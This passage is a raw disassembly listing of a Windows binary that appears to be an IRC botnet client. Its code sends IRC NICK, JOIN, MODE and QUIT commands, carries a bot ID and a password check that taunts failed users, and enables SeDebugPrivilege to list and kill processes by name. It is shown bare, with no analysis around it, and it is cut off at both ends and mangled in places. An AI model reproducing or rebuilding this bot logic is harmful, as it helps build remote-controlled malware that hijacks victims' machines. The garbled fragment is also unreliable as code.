26402CBh push eax push offset unk_435748 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_414818: ; CODE XREF: sub_40EE72+1620j ; sub_40EE72+1635j cmp [ebp+var_8], ebx jnz short loc_414837 push ebx push [ebp+var_4] push offset dword_435720 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_414837: ; CODE XREF: sub_40EE72+59A9j push [ebp+arg_4] call dword_43F700 call dword_43F5C8 call sub_40AC42 push ebx call near ptr 77E75CB5h nop loc_414852: ; CODE XREF: sub_40EE72+15F6j ; sub_40EE72+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B8D8 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4356F8 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_414880: ; CODE XREF: sub_40EE72+14BCj ; sub_40EE72+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push offset dword_4356D0 jmp loc_4145BD ; --------------------------------------------------------------------------- loc_4148B2: ; CODE XREF: sub_40EE72+1492j ; sub_40EE72+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40C00D jmp loc_40F236 ; --------------------------------------------------------------------------- loc_4148CB: ; CODE XREF: sub_40EE72+1468j ; sub_40EE72+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_41490A mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_41490A push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_41490A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_41782A add esp, 10h loc_41490A: ; CODE XREF: sub_40EE72+5A62j ; sub_40EE72+5A6Dj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_4356A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_416D5C add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40C07F push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4149AD loc_414997: ; CODE XREF: sub_40EE72+5B39j cmp [ebp+var_2FC], ebx jnz loc_40F239 push 32h nop call near ptr 2600833h jmp short loc_414997 ; --------------------------------------------------------------------------- loc_4149AD: ; CODE XREF: sub_40EE72+5B23j nop call near ptr 26402CBh push eax push offset dword_435660 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4149BE: ; CODE XREF: sub_40EE72+143Ej ; sub_40EE72+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BEF5 push offset dword_435638 call sub_40BF6D jmp loc_41452A ; --------------------------------------------------------------------------- loc_4149DE: ; CODE XREF: sub_40EE72+1414j ; sub_40EE72+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_414A38 push offset dword_435634 push esi call sub_4176D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_414A3E ; --------------------------------------------------------------------------- loc_414A38: ; CODE XREF: sub_40EE72+5BAAj mov [ebp+var_46C], ebx loc_414A3E: ; CODE XREF: sub_40EE72+5BC4j lea eax, [ebp+var_2DC] push offset dword_435608 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_416D5C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset byte_416DC7 push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414AA8 loc_414A96: ; CODE XREF: sub_40EE72+5C34j cmp [ebp+var_460], ebx jnz short loc_414AC3 push 32h nop call near ptr 2600833h jmp short loc_414A96 ; --------------------------------------------------------------------------- loc_414AA8: ; CODE XREF: sub_40EE72+5C22j nop call near ptr 26402CBh push eax push offset dword_4355C0 loc_414AB4: ; CODE XREF: sub_40EE72+489Fj ; sub_40EE72+49BBj lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414AC3: ; CODE XREF: sub_40EE72+4529j ; sub_40EE72+4541j ... lea eax, [ebp+var_2DC] push eax jmp loc_410654 ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_40EE72+1398j ; sub_40EE72+13ADj push offset aBotid ; "botid" push offset dword_435598 jmp short loc_414AED ; --------------------------------------------------------------------------- loc_414ADB: ; CODE XREF: sub_40EE72+136Ej ; sub_40EE72+1383j push dword_489C50 call sub_40B721 pop ecx push eax push offset dword_43555C loc_414AED: ; CODE XREF: sub_40EE72+5C67j lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_4110FD ; --------------------------------------------------------------------------- loc_414B1A: ; CODE XREF: sub_40EE72+1344j ; sub_40EE72+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414B4C cmp [ebp+var_C], ebx jz short loc_414B5B push esi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_414B5B push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch jmp short loc_414B5B ; --------------------------------------------------------------------------- loc_414B4C: ; CODE XREF: sub_40EE72+5CB1j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D633 pop ecx pop ecx loc_414B5B: ; CODE XREF: sub_40EE72+5CB6j ; sub_40EE72+5CC5j ... push 0FFFFFFFEh jmp loc_40F23B ; --------------------------------------------------------------------------- loc_414B62: ; CODE XREF: sub_40EE72+131Aj ; sub_40EE72+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_43550C call sub_40BF6D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414B84: ; CODE XREF: sub_40EE72+12F0j ; sub_40EE72+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_4354CC call sub_40BF6D add esp, 0Ch xor eax, eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414BA5: ; CODE XREF: sub_40EE72+12C6j ; sub_40EE72+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_407110 jmp loc_412FF6 ; --------------------------------------------------------------------------- loc_414BBB: ; CODE XREF: sub_40EE72+1221j ; sub_40EE72+1236j push [ebp+esi+var_90] push 1Fh push offset dword_4354BC push offset dword_4354B0 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: sub_40EE72+11F7j ; sub_40EE72+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_4354A4 push offset dword_435494 jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_414BEB: ; CODE XREF: sub_40EE72+1022j ; sub_40EE72+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414C0A push edi call sub_41781F test eax, eax pop ecx jz short loc_414C0A push edi call sub_41781F pop ecx jmp short loc_414C0F ; --------------------------------------------------------------------------- loc_414C0A: ; CODE XREF: sub_40EE72+5D82j ; sub_40EE72+5D8Dj mov eax, dword_42F5A8 loc_414C0F: ; CODE XREF: sub_40EE72+5D96j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_414C34 push esi loc_414C21: ; CODE XREF: sub_40EE72+5DD1j lea eax, [ebp+var_488] push 10h push eax call sub_41782A add esp, 0Ch jmp short loc_414C4B ; --------------------------------------------------------------------------- loc_414C34: ; CODE XREF: sub_40EE72+5DACj cmp [ebp+var_9C7], bl jz short loc_414C45 lea eax, [ebp+var_D8] push eax jmp short loc_414C21 ; --------------------------------------------------------------------------- loc_414C45: ; CODE XREF: sub_40EE72+5DC8j mov [ebp+var_488], bl loc_414C4B: ; CODE XREF: sub_40EE72+5DC0j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_41782A add esp, 0Ch push [ebp+var_478] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42B75C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_407FEA push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414CFC loc_414CE6: ; CODE XREF: sub_40EE72+5E88j cmp [ebp+var_464], ebx jnz loc_40F239 push 32h call near ptr 2600833h nop jmp short loc_414CE6 ; --------------------------------------------------------------------------- loc_414CFC: ; CODE XREF: sub_40EE72+5E72j call near ptr 26402CBh nop push eax push offset unk_43544C jmp loc_40F422 ; --------------------------------------------------------------------------- loc_414D0D: ; CODE XREF: sub_40EE72+FCEj ; sub_40EE72+FE3j ... push edi push offset aSecure ; "secure" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414D35 push edi push offset aSec ; "sec" call sub_4176D0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_414D3F loc_414D35: ; CODE XREF: sub_40EE72+5EAAj mov [ebp+var_46C], 1 loc_414D3F: ; CODE XREF: sub_40EE72+5EC1j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414D86 mov eax, offset aUnsecuring ; "Unsecuring" loc_414D86: ; CODE XREF: sub_40EE72+5F0Dj push eax push offset dword_435400 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_416D5C add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_415F28 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_414DF6 loc_414DE4: ; CODE XREF: sub_40EE72+5F82j cmp [ebp+var_460], ebx jnz short loc_414E11 push 32h call near ptr 2600833h nop jmp short loc_414DE4 ; --------------------------------------------------------------------------- loc_414DF6: ; CODE XREF: sub_40EE72+5F70j nop call near ptr 26402CBh push eax push offset unk_4353B4 loc_414E02: ; CODE XREF: sub_40EE72+3DA7j ; sub_40EE72+4AC3j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_414E11: ; CODE XREF: sub_40EE72+2EB3j ; sub_40EE72+395Bj ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D jmp loc_40F428 ; --------------------------------------------------------------------------- loc_414E22: ; CODE XREF: sub_40EE72+FA4j ; sub_40EE72+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_435394 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_414E31: ; CODE XREF: sub_40EE72+F7Aj ; sub_40EE72+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414E91 push esi call sub_41781F cmp eax, ebx pop ecx jl short loc_414E86 cmp eax, 2 jge short loc_414E86 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_414E7B lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_438734 push eax call sub_4172B0 add esp, 0Ch mov [esi], bl jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414E7B: ; CODE XREF: sub_40EE72+5FE8j push eax push offset dword_435358 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E86: ; CODE XREF: sub_40EE72+5FD3j ; sub_40EE72+5FD8j push eax push offset dword_43531C jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414E91: ; CODE XREF: sub_40EE72+5FC8j mov edi, [ebp+arg_18] xor esi, esi loc_414E96: ; CODE XREF: sub_40EE72+6040j push [ebp+var_94] push edi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414EB9 inc esi add edi, 80h cmp esi, 2 jl short loc_414E96 jmp loc_410E57 ; --------------------------------------------------------------------------- loc_414EB9: ; CODE XREF: sub_40EE72+6034j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_438734 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_414ED3: ; CODE XREF: sub_40EE72+F50j ; sub_40EE72+F65j push [ebp+var_90] push offset dword_4386A4 call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_414F47 call sub_416F25 push ebx nop call near ptr 77E75CB5h loc_414EF5: ; CODE XREF: sub_40EE72+F26j ; sub_40EE72+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_42F5CC push eax call sub_415D01 add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_4352E8 loc_414F40: ; CODE XREF: sub_40EE72+4346j ; sub_40EE72+49D9j ... call sub_40BFE1 pop ecx loc_414F46: ; CODE XREF: sub_40EE72+17E7j pop ecx loc_414F47: ; CODE XREF: sub_40EE72+65Fj ; sub_40EE72+66Bj ... mov eax, [ebp+arg_24] jmp loc_40F23C ; --------------------------------------------------------------------------- loc_414F4F: ; CODE XREF: sub_40EE72+B28j ; sub_40EE72+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F239 cmp [ebp+var_AC], ebx jnz loc_40F239 push offset asc_4387B0 ; "!" push [ebp+var_94] call sub_418B6E mov esi, eax push offset dword_43C824 push ebx inc esi call sub_418B6E push offset asc_4352E4 ; "~" push eax call sub_418B6E push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4176D0 add esp, 20h test eax, eax jz short loc_414FEE lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_43525C jmp loc_40F813 ; --------------------------------------------------------------------------- loc_414FEE: ; CODE XREF: sub_40EE72+6138j mov [ebp+arg_24], offset off_42F6C8 loc_414FF5: ; CODE XREF: sub_40EE72+619Fj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_4170B5 pop ecx test eax, eax pop ecx jnz short loc_415055 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42F6CC jb short loc_414FF5 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D633 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push edi push esi push offset dword_435220 jmp loc_40F813 ; --------------------------------------------------------------------------- loc_415055: ; CODE XREF: sub_40EE72+6192j mov edi, [ebp+arg_18] xor esi, esi loc_41505A: ; CODE XREF: sub_40EE72+6212j cmp [ebp+arg_0], ebx jz loc_40F239 cmp [edi], bl jnz short loc_41507A push [ebp+arg_0] push offset aCool ; "cool" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41508B loc_41507A: ; CODE XREF: sub_40EE72+61F3j inc esi add edi, 80h cmp esi, 2 jl short loc_41505A jmp loc_40F239 ; --------------------------------------------------------------------------- loc_41508B: ; CODE XREF: sub_40EE72+6206j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_418C10 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4150C2 push ebx push [ebp+var_4] push offset dword_4351F4 push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4150C2: ; CODE XREF: sub_40EE72+6234j lea eax, [ebp+var_D8] push eax push offset dword_4351C4 jmp loc_40F422 ; --------------------------------------------------------------------------- loc_4150D3: ; CODE XREF: sub_40EE72+20Ej ; sub_40EE72+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 10h mov dword_489DCC, edi jmp loc_40F10F sub_40EE72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41511F proc near ; CODE XREF: sub_409037+45p ; sub_409037+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h nop call near ptr 2760E6Ch push eax call dword_43F64C test eax, eax jnz short loc_41513E leave retn ; --------------------------------------------------------------------------- loc_41513E: ; CODE XREF: sub_41511F+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_43F624 test eax, eax jz short loc_41517C cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_415165 or [ebp+var_8], 2 jmp short loc_415169 ; --------------------------------------------------------------------------- loc_415165: ; CODE XREF: sub_41511F+3Ej and [ebp+var_8], 0FFFFFFFDh loc_415169: ; CODE XREF: sub_41511F+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_43F6D4 mov esi, eax loc_41517C: ; CODE XREF: sub_41511F+32j push [ebp+var_4] nop call near ptr 2621910h mov eax, esi pop esi leave retn sub_41511F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41518A proc near ; CODE XREF: sub_40EE72+4B68p ; sub_41533B+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_43F688, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_415334 cmp dword_43F66C, ebx jz loc_415334 cmp dword_43F588, ebx jz loc_415334 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx push ebx push 0Fh call dword_43F688 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_415327 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_43F66C mov esi, dword_424078 test eax, eax jz loc_415322 loc_41522D: ; CODE XREF: sub_41518A+BEj ; sub_41518A+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_43F588 test eax, eax jz loc_415322 cmp [ebp+arg_10], ebx jnz short loc_41522D cmp [ebp+arg_C], ebx jnz loc_4152DA cmp [ebp+arg_4], ebx jz short loc_41522D push [ebp+var_124] push 8 call dword_43F688 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_415297 lea eax, [ebp+var_350] push eax push edi call dword_43F534 push [ebp+var_124] test eax, eax jz short loc_41529D lea eax, [ebp+var_230] jmp short loc_4152A3 ; --------------------------------------------------------------------------- loc_415297: ; CODE XREF: sub_41518A+EBj push [ebp+var_124] loc_41529D: ; CODE XREF: sub_41518A+103j lea eax, [ebp+var_108] loc_4152A3: ; CODE XREF: sub_41518A+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h push edi call esi jmp loc_41522D ; --------------------------------------------------------------------------- loc_4152DA: ; CODE XREF: sub_41518A+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41522D push [ebp+var_124] push ebx push 1F0FFFh nop call near ptr 2700AB6h push [ebp+var_4] mov edi, eax call esi push ebx push edi nop call near ptr 27B0AC5h test eax, eax jnz short loc_41531D push edi call esi jmp short loc_415334 ; --------------------------------------------------------------------------- loc_41531D: ; CODE XREF: sub_41518A+18Cj push 1 pop eax jmp short loc_415336 ; --------------------------------------------------------------------------- loc_415322: ; CODE XREF: sub_41518A+9Dj ; sub_41518A+B5j push [ebp+var_4] call esi loc_415327: ; CODE XREF: sub_41518A+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41511F pop ecx pop ecx loc_415334: ; CODE XREF: sub_41518A+3Aj ; sub_41518A+46j ... xor eax, eax loc_415336: ; CODE XREF: sub_41518A+196j pop edi pop esi pop ebx leave retn sub_41518A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41533B proc near ; DATA XREF: sub_40EE72+595Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_438834 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41539A push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_41539A: ; CODE XREF: sub_41533B+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_41518A add esp, 18h test eax, eax jnz short loc_4153C2 push offset unk_4387FC jmp short loc_4153C7 ; --------------------------------------------------------------------------- loc_4153C2: ; CODE XREF: sub_41533B+7Ej push offset unk_4387C4 loc_4153C7: ; CODE XREF: sub_41533B+85j lea eax, [ebp+var_298] push eax call sub_4172B0 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_4153FA push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40D679 add esp, 14h loc_4153FA: ; CODE XREF: sub_41533B+9Dj lea eax, [ebp+var_298] push eax call sub_40BF6D push [ebp+var_14] call sub_417078 pop ecx pop ecx push esi call near ptr 25F0973h nop pop edi pop esi sub_41533B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415419 proc near ; CODE XREF: sub_40EE72+4B0Ap ; sub_416E97+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh nop call near ptr 2700AB6h mov esi, eax test esi, esi jz short loc_41544B push 0 push esi call near ptr 27B0AC5h nop test eax, eax jnz short loc_41544B push esi xor edi, edi call near ptr 2621910h nop loc_41544B: ; CODE XREF: sub_415419+1Aj ; sub_415419+27j mov eax, edi pop edi pop esi retn sub_415419 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415450 proc near ; CODE XREF: sub_4030D1+Ap ; ___:0040369Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_41730C mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_4246A0 call sub_417DC4 sub esi, eax mov eax, esi pop esi leave retn sub_415450 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_4450CC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_43F650 test eax, eax jnz short loc_415504 push dword ptr [esi] call dword_43F700 push dword ptr [ebp+8] call sub_417078 pop ecx push edi call near ptr 25F0973h nop loc_415504: ; CODE XREF: ___:004154EAj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_43F680 lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_415685 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_415685 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_43F5C4 test eax, eax jz short loc_41557D call dword_43F5FC push eax push offset dword_438928 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push edi nop call near ptr 25F0973h loc_41557D: ; CODE XREF: ___:00415558j push 2 lea eax, [ebp-18h] push 4 push eax call dword_43F620 cmp eax, edi jnz short loc_4155A7 push dword ptr [ebp-18h] call dword_43F6F4 push eax lea eax, [ebp-0B0h] push eax call sub_4172B0 jmp short loc_4155B5 ; --------------------------------------------------------------------------- loc_4155A7: ; CODE XREF: ___:0041558Dj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_4179C0 loc_4155B5: ; CODE XREF: ___:004155A5j pop ecx pop ecx push edi push ebx push offset byte_43C80C push dword ptr [esi] call dword_43F6B8 cmp dword_489DDC, edi jnz short loc_415617 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4156DF add esp, 10h test eax, eax jnz short loc_415617 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push dword ptr [ebp+8] call sub_417078 pop ecx push edi nop call near ptr 25F0973h loc_415617: ; CODE XREF: ___:004155CCj ; ___:004155EDj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_4388DC call sub_40BFE1 push dword ptr [ebp+8] call sub_4165C6 add esp, 10h test eax, eax jnz short loc_41565E nop call near ptr 26402CBh push eax push offset dword_4388A0 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 0Ch push ebx call near ptr 25F0973h nop loc_41565E: ; CODE XREF: ___:00415639j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset dword_438868 call sub_40BFE1 push dword ptr [ebp+8] call sub_417078 add esp, 10h push edi nop call near ptr 25F0973h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415685 proc near ; CODE XREF: ___:0041551Ap ; ___:00415527p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43F680 cmp eax, 1 jnz short loc_4156D5 mov esi, [ebp+arg_4] loc_4156A3: ; CODE XREF: sub_415685+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4156CA test al, al jz short loc_4156D9 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43F680 cmp eax, 1 jz short loc_4156A3 jmp short loc_4156D5 ; --------------------------------------------------------------------------- loc_4156CA: ; CODE XREF: sub_415685+27j push offset 